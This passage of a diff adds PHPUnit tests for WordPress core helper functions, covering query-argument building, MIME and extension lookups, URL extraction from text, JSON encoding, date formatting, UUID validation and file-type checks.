+			$this->assertEquals( "$url?foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) );
+			$this->assertEquals( "$url?foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) );
+		}
+
+		foreach ( $frag_urls as $frag_url ) {
+			$_SERVER['REQUEST_URI'] = 'nothing';
+			$url = str_replace( '#frag', '', $frag_url );
+
+			$this->assertEquals( "$url?foo=1#frag", add_query_arg( 'foo', '1', $frag_url ) );
+			$this->assertEquals( "$url?foo=1#frag", add_query_arg( array( 'foo' => '1' ), $frag_url ) );
+			$this->assertEquals( "$url?foo=2#frag", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $frag_url ) );
+			$this->assertEquals( "$url?foo=1&bar=2#frag", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $frag_url ) );
+
+			$_SERVER['REQUEST_URI'] = $frag_url;
+
+			$this->assertEquals( "$url?foo=1#frag", add_query_arg( 'foo', '1' ) );
+			$this->assertEquals( "$url?foo=1#frag", add_query_arg( array( 'foo' => '1' ) ) );
+			$this->assertEquals( "$url?foo=2#frag", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) );
+			$this->assertEquals( "$url?foo=1&bar=2#frag", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) );
+		}
+
+		$qs_urls = array(
+			'baz=1', // #WP4903
+			'/?baz',
+			'/2012/07/30/?baz',
+			'edit.php?baz',
+			admin_url( 'edit.php?baz' ),
+			admin_url( 'edit.php?baz', 'https' ),
+			admin_url( 'edit.php?baz&za=1' ),
+			admin_url( 'edit.php?baz=1&za=1' ),
+			admin_url( 'edit.php?baz=0&za=0' ),
+		);
+
+		foreach ( $qs_urls as $url ) {
+			$_SERVER['REQUEST_URI'] = 'nothing';
+
+			$this->assertEquals( "$url&foo=1", add_query_arg( 'foo', '1', $url ) );
+			$this->assertEquals( "$url&foo=1", add_query_arg( array( 'foo' => '1' ), $url ) );
+			$this->assertEquals( "$url&foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $url ) );
+			$this->assertEquals( "$url&foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $url ) );
+
+			$_SERVER['REQUEST_URI'] = $url;
+
+			$this->assertEquals( "$url&foo=1", add_query_arg( 'foo', '1' ) );
+			$this->assertEquals( "$url&foo=1", add_query_arg( array( 'foo' => '1' ) ) );
+			$this->assertEquals( "$url&foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) );
+			$this->assertEquals( "$url&foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) );
+		}
+
+		$_SERVER['REQUEST_URI'] = $old_req_uri;
+	}
+
+	/**
+	 * @ticket 31306
+	 */
+	function test_add_query_arg_numeric_keys() {
+		$url = add_query_arg( array( 'foo' => 'bar' ), '1=1' );
+		$this->assertEquals('1=1&foo=bar', $url);
+
+		$url = add_query_arg( array( 'foo' => 'bar', '1' => '2' ), '1=1' );
+		$this->assertEquals('1=2&foo=bar', $url);
+
+		$url = add_query_arg( array( '1' => '2' ), 'foo=bar' );
+		$this->assertEquals('foo=bar&1=2', $url);
+	}
+
+	/**
+	 * @ticket 21594
+	 */
+	function test_get_allowed_mime_types() {
+		$mimes = get_allowed_mime_types();
+
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertNotEmpty( $mimes );
+
+		add_filter( 'upload_mimes', '__return_empty_array' );
+		$mimes = get_allowed_mime_types();
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertEmpty( $mimes );
+
+		remove_filter( 'upload_mimes', '__return_empty_array' );
+		$mimes = get_allowed_mime_types();
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertNotEmpty( $mimes );
+	}
+
+	/**
+	 * @ticket 21594
+	 */
+	function test_wp_get_mime_types() {
+		$mimes = wp_get_mime_types();
+
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertNotEmpty( $mimes );
+
+		add_filter( 'mime_types', '__return_empty_array' );
+		$mimes = wp_get_mime_types();
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertEmpty( $mimes );
+
+		remove_filter( 'mime_types', '__return_empty_array' );
+		$mimes = wp_get_mime_types();
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertNotEmpty( $mimes );
+
+		// upload_mimes shouldn't affect wp_get_mime_types()
+		add_filter( 'upload_mimes', '__return_empty_array' );
+		$mimes = wp_get_mime_types();
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertNotEmpty( $mimes );
+
+		remove_filter( 'upload_mimes', '__return_empty_array' );
+		$mimes2 = wp_get_mime_types();
+		$this->assertInternalType( 'array', $mimes2 );
+		$this->assertNotEmpty( $mimes2 );
+		$this->assertEquals( $mimes2, $mimes );
+	}
+
+	/**
+	 * @ticket 23688
+	 */
+	function test_canonical_charset() {
+		$orig_blog_charset = get_option( 'blog_charset' );
+
+		update_option( 'blog_charset', 'utf8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'utf-8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'UTF8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'UTF-8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'ISO-8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'ISO8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'iso8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'iso-8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		// Arbitrary strings are passed through.
+		update_option( 'blog_charset', 'foobarbaz' );
+		$this->assertEquals( 'foobarbaz', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', $orig_blog_charset );
+	}
+
+	/**
+	 * @dataProvider data_wp_parse_id_list
+	 */
+	function test_wp_parse_id_list( $expected, $actual ) {
+		$this->assertSame( $expected, array_values( wp_parse_id_list( $actual ) ) );
+	}
+
+	function data_wp_parse_id_list() {
+		return array(
+			array( array( 1, 2, 3, 4 ), '1,2,3,4' ),
+			array( array( 1, 2, 3, 4 ), '1, 2,,3,4' ),
+			array( array( 1, 2, 3, 4 ), '1,2,2,3,4' ),
+			array( array( 1, 2, 3, 4 ), array( '1', '2', '3', '4', '3' ) ),
+			array( array( 1, 2, 3, 4 ), array( 1, '2', 3, '4' ) ),
+			array( array( 1, 2, 3, 4 ), '-1,2,-3,4' ),
+			array( array( 1, 2, 3, 4 ), array( -1, 2, '-3', '4' ) ),
+		);
+	}
+
+	/**
+	 * @dataProvider data_wp_parse_slug_list
+	 */
+	function test_wp_parse_slug_list( $expected, $actual ) {
+		$this->assertSame( $expected, array_values( wp_parse_slug_list( $actual ) ) );
+	}
+
+	function data_wp_parse_slug_list() {
+		return array(
+			array( array( 'apple', 'banana', 'carrot', 'dog' ), 'apple,banana,carrot,dog' ),
+			array( array( 'apple', 'banana', 'carrot', 'dog' ), 'apple, banana,,carrot,dog' ),
+			array( array( 'apple', 'banana', 'carrot', 'dog' ), 'apple banana carrot dog' ),
+			array( array( 'apple', 'banana-carrot', 'd-o-g' ), array( 'apple ', 'banana carrot', 'd o g' ) ),
+		);
+	}
+
+	/**
+	 * @dataProvider data_device_can_upload
+	 */
+	function test_device_can_upload( $user_agent, $expected ) {
+		$_SERVER['HTTP_USER_AGENT'] = $user_agent;
+		$actual = _device_can_upload();
+		unset( $_SERVER['HTTP_USER_AGENT'] );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function data_device_can_upload() {
+		return array(
+			// iPhone iOS 5.0.1, Safari 5.1
+			array(
+				'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9A406)',
+				false,
+			),
+			// iPad iOS 3.2, Safari 4.0.4
+			array(
+				'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
+				false,
+			),
+			// iPod iOS 4.3.3, Safari 5.0.2
+			array(
+				'Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5',
+				false,
+			),
+			// iPhone iOS 6.0.0, Safari 6.0
+			array(
+				'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25',
+				true,
+			),
+			// iPad iOS 6.0.0, Safari 6.0
+			array(
+				'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25',
+				true,
+			),
+			// Android 2.2, Android Webkit Browser
+			array(
+				'Mozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4',
+				true,
+			),
+			// BlackBerry 9900, BlackBerry browser
+			array(
+				'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+',
+				true,
+			),
+			// Windows Phone 8.0, Internet Explorer 10.0;
+			array(
+				'Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920)',
+				true,
+			),
+			// Ubuntu desktop, Firefox 41.0
+			array(
+				'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0',
+				true,
+			),
+		);
+	}
+
+	/**
+	 * @ticket 9064
+	 */
+	function test_wp_extract_urls() {
+		$original_urls = array(
+			'http://woo.com/1,2,3,4,5,6/-1-2-3-4-/woo.html',
+			'http://this.com',
+			'http://127.0.0.1',
+			'http://www111.urwyeoweytwutreyytqytwetowteuiiu.com/?346236346326&2134362574863.437',
+			'http://wordpress-core/1,2,3,4,5,6/-1-2-3-4-/woo.html',
+			'http://wordpress-core.com:8080/',
+			'http://www.website.com:5000',
+			'http://wordpress-core/?346236346326&2134362574863.437',
+			'http://افغانستا.icom.museum',
+			'http://الجزائر.icom.museum',
+			'http://österreich.icom.museum',
+			'http://বাংলাদেশ.icom.museum',
+			'http://беларусь.icom.museum',
+			'http://belgië.icom.museum',
+			'http://българия.icom.museum',
+			'http://تشادر.icom.museum',
+			'http://中国.icom.museum',
+			#'http://القمر.icom.museum', // Comoros	http://القمر.icom.museum
+			#'http://κυπρος.icom.museum', Cyprus 	http://κυπρος.icom.museum
+			'http://českárepublika.icom.museum',
+			#'http://مصر.icom.museum', // Egypt	http://مصر.icom.museum
+			'http://ελλάδα.icom.museum',
+			'http://magyarország.icom.museum',
+			'http://ísland.icom.museum',
+			'http://भारत.icom.museum',
+			'http://ايران.icom.museum',
+			'http://éire.icom.museum',
+			'http://איקו״ם.ישראל.museum',
+			'http://日本.icom.museum',
+			'http://الأردن.icom.museum',
+			'http://қазақстан.icom.museum',
+			'http://한국.icom.museum',
+			'http://кыргызстан.icom.museum',
+			'http://ລາວ.icom.museum',
+			'http://لبنان.icom.museum',
+			'http://македонија.icom.museum',
+			#'http://موريتانيا.icom.museum', // Mauritania	http://موريتانيا.icom.museum
+			'http://méxico.icom.museum',
+			'http://монголулс.icom.museum',
+			#'http://المغرب.icom.museum', // Morocco	http://المغرب.icom.museum
+			'http://नेपाल.icom.museum',
+			#'http://عمان.icom.museum', // Oman	http://عمان.icom.museum
+			'http://قطر.icom.museum',
+			'http://românia.icom.museum',
+			'http://россия.иком.museum',
+			'http://србијаицрнагора.иком.museum',
+			'http://இலங்கை.icom.museum',
+			'http://españa.icom.museum',
+			'http://ไทย.icom.museum',
+			'http://تونس.icom.museum',
+			'http://türkiye.icom.museum',
+			'http://украина.icom.museum',
+			'http://việtnam.icom.museum',
+			'ftp://127.0.0.1/',
+			'http://www.woo.com/video?v=exvUH2qKLTU',
+			'http://taco.com?burrito=enchilada#guac'
+		);
+
+		$blob ="
+			http://woo.com/1,2,3,4,5,6/-1-2-3-4-/woo.html
+
+			http://this.com
+
+			http://127.0.0.1
+
+			http://www111.urwyeoweytwutreyytqytwetowteuiiu.com/?346236346326&amp;2134362574863.437
+
+			http://wordpress-core/1,2,3,4,5,6/-1-2-3-4-/woo.html
+
+			http://wordpress-core.com:8080/
+
+			http://www.website.com:5000
+
+			http://wordpress-core/?346236346326&amp;2134362574863.437
+
+			http://افغانستا.icom.museum
+			http://الجزائر.icom.museum
+			http://österreich.icom.museum
+			http://বাংলাদেশ.icom.museum
+			http://беларусь.icom.museum
+			http://belgië.icom.museum
+			http://българия.icom.museum
+			http://تشادر.icom.museum
+			http://中国.icom.museum
+			http://českárepublika.icom.museum
+			http://ελλάδα.icom.museum
+			http://magyarország.icom.museum
+			http://ísland.icom.museum
+			http://भारत.icom.museum
+			http://ايران.icom.museum
+			http://éire.icom.museum
+			http://איקו״ם.ישראל.museum
+			http://日本.icom.museum
+			http://الأردن.icom.museum
+			http://қазақстан.icom.museum
+			http://한국.icom.museum
+			http://кыргызстан.icom.museum
+			http://ລາວ.icom.museum
+			http://لبنان.icom.museum
+			http://македонија.icom.museum
+			http://méxico.icom.museum
+			http://монголулс.icom.museum
+			http://नेपाल.icom.museum
+			http://قطر.icom.museum
+			http://românia.icom.museum
+			http://россия.иком.museum
+			http://србијаицрнагора.иком.museum
+			http://இலங்கை.icom.museum
+			http://españa.icom.museum
+			http://ไทย.icom.museum
+			http://تونس.icom.museum
+			http://türkiye.icom.museum
+			http://украина.icom.museum
+			http://việtnam.icom.museum
+			ftp://127.0.0.1/
+			http://www.woo.com/video?v=exvUH2qKLTU
+
+			http://taco.com?burrito=enchilada#guac
+		";
+
+		$urls = wp_extract_urls( $blob );
+		$this->assertNotEmpty( $urls );
+		$this->assertInternalType( 'array', $urls );
+		$this->assertCount( count( $original_urls ), $urls );
+		$this->assertEquals( $original_urls, $urls );
+
+		$exploded = array_values( array_filter( array_map( 'trim', explode( "\n", $blob ) ) ) );
+		// wp_extract_urls calls html_entity_decode
+		$decoded = array_map( 'html_entity_decode', $exploded );
+
+		$this->assertEquals( $decoded, $urls );
+		$this->assertEquals( $original_urls, $decoded );
+
+		$blob ="Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor
+			incididunt ut labore http://woo.com/1,2,3,4,5,6/-1-2-3-4-/woo.html et dolore magna aliqua.
+			Ut http://this.com enim ad minim veniam, quis nostrud exercitation 16.06. to 18.06.2014 ullamco http://127.0.0.1
+			laboris nisi ut aliquip ex http://www111.urwyeoweytwutreyytqytwetowteuiiu.com/?346236346326&amp;2134362574863.437 ea
+			commodo consequat. http://wordpress-core/1,2,3,4,5,6/-1-2-3-4-/woo.html Duis aute irure dolor in reprehenderit in voluptate
+			velit esse http://wordpress-core.com:8080/ cillum dolore eu fugiat nulla <A href=\"http://www.website.com:5000\">http://www.website.com:5000</B> pariatur. Excepteur sint occaecat cupidatat non proident,
+			sunt in culpa qui officia deserunt mollit http://wordpress-core/?346236346326&amp;2134362574863.437 anim id est laborum.";
+
+		$urls = wp_extract_urls( $blob );
+		$this->assertNotEmpty( $urls );
+		$this->assertInternalType( 'array', $urls );
+		$this->assertCount( 8, $urls );
+		$this->assertEquals( array_slice( $original_urls, 0, 8 ), $urls );
+
+		$blob = 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor
+			incididunt ut labore <a href="http://woo.com/1,2,3,4,5,6/-1-2-3-4-/woo.html">343462^</a> et dolore magna aliqua.
+			Ut <a href="http://this.com">&amp;3640i6p1yi499</a> enim ad minim veniam, quis nostrud exercitation 16.06. to 18.06.2014 ullamco <a href="http://127.0.0.1">localhost</a>
+			laboris nisi ut aliquip ex <a href="http://www111.urwyeoweytwutreyytqytwetowteuiiu.com/?346236346326&amp;2134362574863.437">343462^</a> ea
+			commodo consequat. <a href="http://wordpress-core/1,2,3,4,5,6/-1-2-3-4-/woo.html">343462^</a> Duis aute irure dolor in reprehenderit in voluptate
+			velit esse <a href="http://wordpress-core.com:8080/">-3-4--321-64-4@#!$^$!@^@^</a> cillum dolore eu <A href="http://www.website.com:5000">http://www.website.com:5000</B> fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident,
+			sunt in culpa qui officia deserunt mollit <a href="http://wordpress-core/?346236346326&amp;2134362574863.437">)(*&^%$</a> anim id est laborum.';
+
+		$urls = wp_extract_urls( $blob );
+		$this->assertNotEmpty( $urls );
+		$this->assertInternalType( 'array', $urls );
+		$this->assertCount( 8, $urls );
+		$this->assertEquals( array_slice( $original_urls, 0, 8 ), $urls );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode() {
+		$this->assertEquals( wp_json_encode( 'a' ), '"a"' );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_utf8() {
+		$this->assertEquals( wp_json_encode( '这' ), '"\u8fd9"' );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_non_utf8() {
+		if ( ! function_exists( 'mb_detect_order' ) ) {
+			$this->markTestSkipped( 'mbstring extension not available.' );
+		}
+
+		$old_charsets = $charsets = mb_detect_order();
+		if ( ! in_array( 'EUC-JP', $charsets ) ) {
+			$charsets[] = 'EUC-JP';
+			mb_detect_order( $charsets );
+		}
+
+		$eucjp = mb_convert_encoding( 'aあb', 'EUC-JP', 'UTF-8' );
+		$utf8 = mb_convert_encoding( $eucjp, 'UTF-8', 'EUC-JP' );
+
+		$this->assertEquals( 'aあb', $utf8 );
+
+		$this->assertEquals( '"a\u3042b"', wp_json_encode( $eucjp ) );
+
+		mb_detect_order( $old_charsets );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_non_utf8_in_array() {
+		if ( ! function_exists( 'mb_detect_order' ) ) {
+			$this->markTestSkipped( 'mbstring extension not available.' );
+		}
+
+		$old_charsets = $charsets = mb_detect_order();
+		if ( ! in_array( 'EUC-JP', $charsets ) ) {
+			$charsets[] = 'EUC-JP';
+			mb_detect_order( $charsets );
+		}
+
+		$eucjp = mb_convert_encoding( 'aあb', 'EUC-JP', 'UTF-8' );
+		$utf8 = mb_convert_encoding( $eucjp, 'UTF-8', 'EUC-JP' );
+
+		$this->assertEquals( 'aあb', $utf8 );
+
+		$this->assertEquals( '["c","a\u3042b"]', wp_json_encode( array( 'c', $eucjp ) ) );
+
+		mb_detect_order( $old_charsets );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_array() {
+		$this->assertEquals( wp_json_encode( array( 'a' ) ), '["a"]' );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_object() {
+		$object = new stdClass;
+		$object->a = 'b';
+		$this->assertEquals( wp_json_encode( $object ), '{"a":"b"}' );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_depth() {
+		if ( version_compare( PHP_VERSION, '5.5', '<' ) ) {
+			$this->markTestSkipped( 'json_encode() supports the $depth parameter in PHP 5.5+' );
+		};
+
+		$data = array( array( array( 1, 2, 3 ) ) );
+		$json = wp_json_encode( $data, 0, 1 );
+		$this->assertFalse( $json );
+
+		$data = array( 'あ', array( array( 1, 2, 3 ) ) );
+		$json = wp_json_encode( $data, 0, 1 );
+		$this->assertFalse( $json );
+	}
+
+	/**
+	 * @ticket 33750
+	 */
+	function test_the_date() {
+		ob_start();
+		the_date();
+		$actual = ob_get_clean();
+		$this->assertEquals( '', $actual );
+
+		$GLOBALS['post']        = self::factory()->post->create_and_get( array(
+			'post_date' => '2015-09-16 08:00:00'
+		) );
+
+		ob_start();
+		$GLOBALS['currentday']  = '18.09.15';
+		$GLOBALS['previousday'] = '17.09.15';
+		the_date();
+		$this->assertEquals( 'September 16, 2015', ob_get_clean() );
+
+		ob_start();
+		$GLOBALS['currentday']  = '18.09.15';
+		$GLOBALS['previousday'] = '17.09.15';
+		the_date( 'Y' );
+		$this->assertEquals( '2015', ob_get_clean() );
+
+		ob_start();
+		$GLOBALS['currentday']  = '18.09.15';
+		$GLOBALS['previousday'] = '17.09.15';
+		the_date( 'Y', 'before ', ' after' );
+		$this->assertEquals( 'before 2015 after', ob_get_clean() );
+
+		ob_start();
+		$GLOBALS['currentday']  = '18.09.15';
+		$GLOBALS['previousday'] = '17.09.15';
+		the_date( 'Y', 'before ', ' after', false );
+		$this->assertEquals( '', ob_get_clean() );
+	}
+
+	/**
+	 * @ticket 36054
+	 * @dataProvider datetime_provider
+	 */
+	function test_mysql_to_rfc3339( $expected, $actual ) {
+		$date_return = mysql_to_rfc3339( $actual );
+
+		$this->assertTrue( is_string( $date_return ), 'The date return must be a string' );
+		$this->assertNotEmpty( $date_return, 'The date return could not be an empty string' );
+		$this->assertEquals( $expected, $date_return, 'The date does not match' );
+		$this->assertEquals( new DateTime( $expected ), new DateTime( $date_return ), 'The date is not the same after the call method' );
+	}
+
+	function datetime_provider() {
+		return array(
+			array( '2016-03-15T18:54:46', '15-03-2016 18:54:46' ),
+			array( '2016-03-02T19:13:25', '2016-03-02 19:13:25' ),
+			array( '2016-03-02T19:13:00', '2016-03-02 19:13' ),
+			array( '2016-03-02T19:13:00', '16-03-02 19:13' ),
+			array( '2016-03-02T19:13:00', '16-03-02 19:13' )
+		);
+	}
+
+	/**
+	 * @ticket 35987
+	 */
+	public function test_wp_get_ext_types() {
+		$extensions = wp_get_ext_types();
+
+		$this->assertInternalType( 'array', $extensions );
+		$this->assertNotEmpty( $extensions );
+
+		add_filter( 'ext2type', '__return_empty_array' );
+		$extensions = wp_get_ext_types();
+		$this->assertSame( array(), $extensions );
+
+		remove_filter( 'ext2type', '__return_empty_array' );
+		$extensions = wp_get_ext_types();
+		$this->assertInternalType( 'array', $extensions );
+		$this->assertNotEmpty( $extensions );
+	}
+
+	/**
+	 * @ticket 35987
+	 */
+	public function test_wp_ext2type() {
+		$extensions = wp_get_ext_types();
+
+		foreach ( $extensions as $type => $extensionList ) {
+			foreach ( $extensionList as $extension ) {
+				$this->assertEquals( $type, wp_ext2type( $extension ) );
+				$this->assertEquals( $type, wp_ext2type( strtoupper( $extension ) ) );
+			}
+		}
+
+		$this->assertNull( wp_ext2type( 'unknown_format' ) );
+	}
+
+	/**
+	 * Tests raising the memory limit.
+	 *
+	 * Unfortunately as the default for 'WP_MAX_MEMORY_LIMIT' in the
+	 * test suite is -1, we can not test the memory limit negotiations.
+	 *
+	 * @ticket 32075
+	 */
+	function test_wp_raise_memory_limit() {
+		if ( -1 !== WP_MAX_MEMORY_LIMIT ) {
+			$this->markTestSkipped( 'WP_MAX_MEMORY_LIMIT should be set to -1' );
+		}
+
+		$ini_limit_before = ini_get( 'memory_limit' );
+		$raised_limit = wp_raise_memory_limit();
+		$ini_limit_after = ini_get( 'memory_limit' );
+
+		$this->assertSame( $ini_limit_before, $ini_limit_after );
+		$this->assertSame( false, $raised_limit );
+		$this->assertEquals( WP_MAX_MEMORY_LIMIT, $ini_limit_after );
+	}
+
+	/**
+	 * Tests wp_generate_uuid4().
+	 *
+	 * @covers ::wp_generate_uuid4
+	 * @ticket 38164
+	 */
+	function test_wp_generate_uuid4() {
+		$uuids = array();
+		for ( $i = 0; $i < 20; $i += 1 ) {
+			$uuid = wp_generate_uuid4();
+			$this->assertTrue( wp_is_uuid( $uuid, 4 ) );
+			$uuids[] = $uuid;
+		}
+
+		$unique_uuids = array_unique( $uuids );
+		$this->assertEquals( $uuids, $unique_uuids );
+	}
+
+	/**
+	 * Tests wp_is_uuid().
+	 *
+	 * @covers ::wp_is_uuid
+	 * @ticket 39778
+	 */
+	function test_wp_is_valid_uuid() {
+		$uuids_v4 = array(
+			'27fe2421-780c-44c5-b39b-fff753092b55',
+			'b7c7713a-4ee9-45a1-87ed-944a90390fc7',
+			'fbedbe35-7bf5-49cc-a5ac-0343bd94360a',
+			'4c58e67e-123b-4290-a41c-5eeb6970fa3e',
+			'f54f5b78-e414-4637-84a9-a6cdc94a1beb',
+			'd1c533ac-abcf-44b6-9b0e-6477d2c91b09',
+			'7fcd683f-e5fd-454a-a8b9-ed15068830da',
+			'7962c750-e58c-470a-af0d-ec1eae453ff2',
+			'a59878ce-9a67-4493-8ca0-a756b52804b3',
+			'6faa519d-1e13-4415-bd6f-905ae3689d1d',
+		);
+
+		foreach ( $uuids_v4 as $uuid ) {
+			$this->assertTrue( wp_is_uuid( $uuid, 4 ) );
+		}
+
+		$uuids = array(
+			'00000000-0000-0000-0000-000000000000', // Nil.
+			'9e3a0460-d72d-11e4-a631-c8e0eb141dab', // Version 1.
+			'2c1d43b8-e6d7-376e-af7f-d4bde997cc3f', // Version 3.
+			'39888f87-fb62-5988-a425-b2ea63f5b81e', // Version 5.
+		);
+
+		foreach ( $uuids as $uuid ) {
+			$this->assertTrue( wp_is_uuid( $uuid ) );
+			$this->assertFalse( wp_is_uuid( $uuid, 4 ) );
+		}
+
+		$invalid_uuids = array(
+			'a19d5192-ea41-41e6-b006',
+			'this-is-not-valid',
+			1234,
+			true,
+			array(),
+		);
+
+		foreach ( $invalid_uuids as $invalid_uuid ) {
+			$this->assertFalse( wp_is_uuid( $invalid_uuid, 4 ) );
+			$this->assertFalse( wp_is_uuid( $invalid_uuid ) );
+		}
+	}
+
+	/**
+	 * Tests wp_unique_id().
+	 *
+	 * @covers ::wp_unique_id
+	 * @ticket 44883
+	 */
+	function test_wp_unique_id() {
+
+		// Test without prefix.
+		$ids = array();
+		for ( $i = 0; $i < 20; $i += 1 ) {
+			$id = wp_unique_id();
+			$this->assertInternalType( 'string', $id );
+			$this->assertTrue( is_numeric( $id ) );
+			$ids[] = $id;
+		}
+		$this->assertEquals( $ids, array_unique( $ids ) );
+
+		// Test with prefix.
+		$ids = array();
+		for ( $i = 0; $i < 20; $i += 1 ) {
+			$id = wp_unique_id( 'foo-' );
+			$this->assertRegExp( '/^foo-\d+$/', $id );
+			$ids[] = $id;
+		}
+		$this->assertEquals( $ids, array_unique( $ids ) );
+	}
+
+	/**
+	 * @ticket 40017
+	 * @dataProvider _wp_get_image_mime
+	 */
+	public function test_wp_get_image_mime( $file, $expected ) {
+		if ( ! is_callable( 'exif_imagetype' ) && ! function_exists( 'getimagesize' ) ) {
+			$this->markTestSkipped( 'The exif PHP extension is not loaded.' );
+		}
+
+		$this->assertEquals( $expected, wp_get_image_mime( $file ) );
+	}
+
+	/**
+	 * @ticket 39550
+	 * @dataProvider _wp_check_filetype_and_ext_data
+	 */
+	function test_wp_check_filetype_and_ext( $file, $filename, $expected ) {
+		if ( ! extension_loaded( 'fileinfo' ) ) {
+			$this->markTestSkipped( 'The fileinfo PHP extension is not loaded.' );
+		}
+
+		$this->assertEquals( $expected, wp_check_filetype_and_ext( $file, $filename ) );
+	}
+
+	/**
+	 * @ticket 39550
+	 * @group ms-excluded
+	 */
+	function test_wp_check_filetype_and_ext_with_filtered_svg() {
+		if ( ! extension_loaded( 'fileinfo' ) ) {
+			$this->markTestSkipped( 'The fileinfo PHP extension is not loaded.' );
+		}
+
+		$file = DIR_TESTDATA . '/uploads/video-play.svg';
+		$filename = 'video-play.svg';
+
+		$expected = array(
+			'ext' => 'svg',
+			'type' => 'image/svg+xml',
+			'proper_filename' => false,
+		);
+
+		add_filter( 'upload_mimes', array( $this, '_filter_mime_types_svg' ) );
+		$this->assertEquals( $expected, wp_check_filetype_and_ext( $file, $filename ) );
+
+		// Cleanup.
+		remove_filter( 'upload_mimes', array( $this, '_test_add_mime_types_svg' ) );
+	}
+
+	/**
+	 * @ticket 39550
+	 * @group ms-excluded
+	 */
+	function test_wp_check_filetype_and_ext_with_filtered_woff() {
+		if ( ! extension_loaded( 'fileinfo' ) ) {
+			$this->markTestSkipped( 'The fileinfo PHP extension is not loaded.' );
+		}
+
+		$file = DIR_TESTDATA . '/uploads/dashicons.woff';
+		$filename = 'dashicons.woff';
+
+		$expected = array(
+			'ext' => 'woff',
+			'type' => 'application/font-woff',
+			'proper_filename' => false,
+		);
+
+		add_filter( 'upload_mimes', array( $this, '_filter_mime_types_woff' ) );
+		$this->assertEquals( $expected, wp_check_filetype_and_ext( $file, $filename ) );
+
+		// Cleanup.
+		remove_filter( 'upload_mimes', array( $this, '_test_add_mime_types_woff' ) );
+	}
+
+	public function _filter_mime_types_svg( $mimes ) {
+		$mimes['svg'] = 'image/svg+xml';
+		return $mimes;
+	}
+
+	public function _filter_mime_types_woff( $mimes ) {
+		$mimes['woff'] = 'application/font-woff';
+		return $mimes;
+	}
+
+	/**
+	 * Data provider for test_wp_get_image_mime();
+	 */
+	public function _wp_get_image_mime() {
+		$data = array(
+			// Standard JPEG.
+			array(
+				DIR_TESTDATA . '/images/test-image.jpg',
+				'image/jpeg',
+			),
+			// Standard GIF.
+			array(
+				DIR_TESTDATA . '/images/test-image.gif',
+				'image/gif',
+			),
+			// Standard PNG.
+			array(
+				DIR_TESTDATA . '/images/test-image.png',
+				'image/png',
+			),
+			// Image with wrong extension.
+			array(
+				DIR_TESTDATA . '/images/test-image-mime-jpg.png',
+				'image/jpeg',
+			),
+			// Not an image.
+			array(
+				DIR_TESTDATA . '/uploads/dashicons.woff',
+				false,
+			),
+		);
+
+		return $data;
+	}
+
